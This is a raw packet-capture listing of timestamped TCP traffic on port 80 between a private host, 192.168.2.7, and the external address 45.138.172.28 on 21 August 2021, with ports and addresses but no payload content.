Aug 21, 2021 21:46:32.173362017 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173371077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173373938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173377037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173378944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173440933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.173845053 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190332890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190366030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190390110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190414906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190438032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190464020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190489054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190511942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190536022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190557957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190577030 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190581083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190599918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190618038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190637112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190639973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190655947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190663099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190689087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190711975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190733910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190756083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190773964 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190778971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190802097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190824986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190840960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190866947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190867901 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190891027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190913916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190937042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190957069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.190959930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.190963984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191060066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191062927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191082001 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191082954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191106081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191159010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191186905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191211939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191234112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191235065 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191257000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191281080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191303015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191324949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191324949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191349030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191373110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191375017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191379070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191400051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191421986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191425085 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191446066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191468000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191472054 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191490889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191582918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191598892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191623926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191648006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191669941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191690922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191694021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191716909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191737890 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191740036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191764116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191785097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191786051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191812992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191837072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191838980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191859961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191881895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191884995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191903114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191952944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191976070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191976070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.191981077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.191999912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192025900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192049026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192070961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192073107 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192090034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192126989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192148924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192167044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192168951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192171097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192176104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192178011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192182064 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192183971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192188025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192190886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192214966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192236900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192255020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192257881 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192282915 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192284107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192305088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192325115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192346096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192363977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192368984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192388058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192389011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192409039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192415953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192429066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192451000 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192452908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192473888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192492008 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192493916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192514896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192536116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192538977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192557096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192578077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192578077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192598104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192616940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192622900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192645073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192666054 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192670107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192693949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192707062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192717075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192738056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192758083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192765951 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192779064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192800999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192801952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192823887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192837000 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192846060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192868948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192889929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192899942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192909002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192929029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192930937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192950964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192966938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.192970991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.192992926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193012953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193016052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.193037033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193058014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193058968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.193078995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193098068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.193099976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193120956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193140984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.193144083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.193186998 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.197899103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199040890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199060917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199076891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199091911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199109077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199145079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199162960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199177980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199209929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199232101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199251890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199346066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199367046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199392080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199414015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199434996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199455023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199476004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199496031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199516058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199536085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199557066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199579954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199600935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199620008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199646950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199668884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199687958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199707985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199707031 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.199728966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199748993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199768066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199789047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199811935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199835062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199855089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199876070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199877024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.199947119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199950933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.199971914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.199990988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200014114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200036049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200036049 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.200056076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200077057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200078964 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.200097084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200117111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200138092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200156927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200181961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200205088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200223923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200243950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200264931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200284004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200304031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200324059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200347900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200370073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200390100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200412035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200432062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.200452089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.203538895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.219428062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222309113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222335100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222357988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222383022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222407103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222429037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222451925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222476006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222497940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222521067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222543955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222568989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222590923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222615004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222637892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222660065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222682953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222703934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222724915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222749949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222771883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222793102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222815037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222836018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222856045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222878933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222899914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222923994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222945929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222965956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.222989082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223010063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223028898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223048925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223068953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223093033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223130941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223155975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223179102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223201990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223220110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223237991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223258972 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223279953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223300934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223320961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223345041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223366022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223387957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223407984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223428965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223447084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223469019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223488092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223512888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223531961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223552942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223572969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223592997 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223613977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223634958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223654032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223675013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223695040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223712921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223733902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223753929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223774910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223793030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223810911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223834991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223860979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223879099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223896980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223917961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223937035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223954916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223974943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.223997116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.224018097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.224039078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.226094007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.226136923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.226161003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.226182938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.226203918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.238822937 CEST	49738	80	192.168.2.7	45.138.172.28
